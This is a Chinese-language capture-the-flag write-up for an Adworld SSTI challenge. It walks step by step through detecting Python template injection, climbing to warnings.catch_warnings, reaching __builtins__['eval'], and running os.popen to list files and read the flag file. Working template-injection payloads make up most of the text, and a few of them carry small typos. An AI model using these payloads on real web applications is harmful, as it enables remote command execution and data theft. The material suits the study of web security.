攻防世界(Web_python_template_injection)SSTI漏洞

一.检测是否存在SSTI漏洞

在url中拼接一下代码看是否返回值,如下

复制代码
http://url/{{7*7}}       --返回49说明存在漏洞
http://url/{{7*'7'}}     --返回49说明是php的模板注入
                         --返回77777说明是python模板注入

例如上述代码,若环境存在SSTI漏洞则,会显示7*7的结果:49

二.初始探测获取子类

拼接代码

复制代码
{{[].__class__.__base__.__subclasses__()}}

代码解释

复制代码
[]                   --创建一个空列表
.__class__           --获取他前面的数据类型,(如前面是[],就获取为list)
.__base__            --获取前面的上一级类型,(现在就会获取为对象)
.__subclasses__()    --获取前面对象的所以子类

{``{[].__class__.__base__.__subclasses__()}} 这条语句最终会列出 Python 中所有直接直接继承自最顶层 "对象(object)" 的类,可以理解为 "所有基础类型的'兄弟姐妹'名单"。

三.寻找可利用的类

常见可利用类如下

复制代码
warnings.catch_warnings             
subprocess.Popen
os._wrap_close

如这题的可得到的是

复制代码
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}

这边虽然显示在61但是计算机是从0开始,而且最前面的是一个类里有两个type所以这个warning的位置是在59,输入59确认一下。

利用它:

复制代码
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}

构造原理:

[59]                --选择第59个子类(通常是warnings.catch_warnings)

.__init__           --获取该类的初始化方法

.func_globals       --获取该类函数的构造方法等(python版本为2)

.__globals__          python版本3

.keys()             --通过构造函数列出所有全局变量名,函数(找是否存在__builtins__)

四.使用这个内置变量__builtins__

复制代码
{{[].__class__.__base__.__subclasses__.__init__.func_globals['__builtins__']}}

找到这个eval(命令执行需要)

五.使用eval

复制代码
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['__builtins__']['eval']('__import__("os").popen("ls").read()')

出现可疑文件,接下去打开文件

六.打开文件

复制代码
{{[].__class__.base__.__subclasses__()[59].__init__.func_globals['__builtins__']['eval']('__import__("os").popen("cat fl4g").read()')}}

总结:

Python 沙箱逃逸的核心目标是:

  1. 获取 eval / exec → 执行任意代码。通过__builtins__显示去判断

  2. 获取 os / subprocess → 直接执行系统命令。

  3. 获取 open / file → 读取敏感文件(如 /flag)。

  4. 获取 __import__ → 动态导入危险模块。

我们这边使用eval模块去导入os模块进行渗透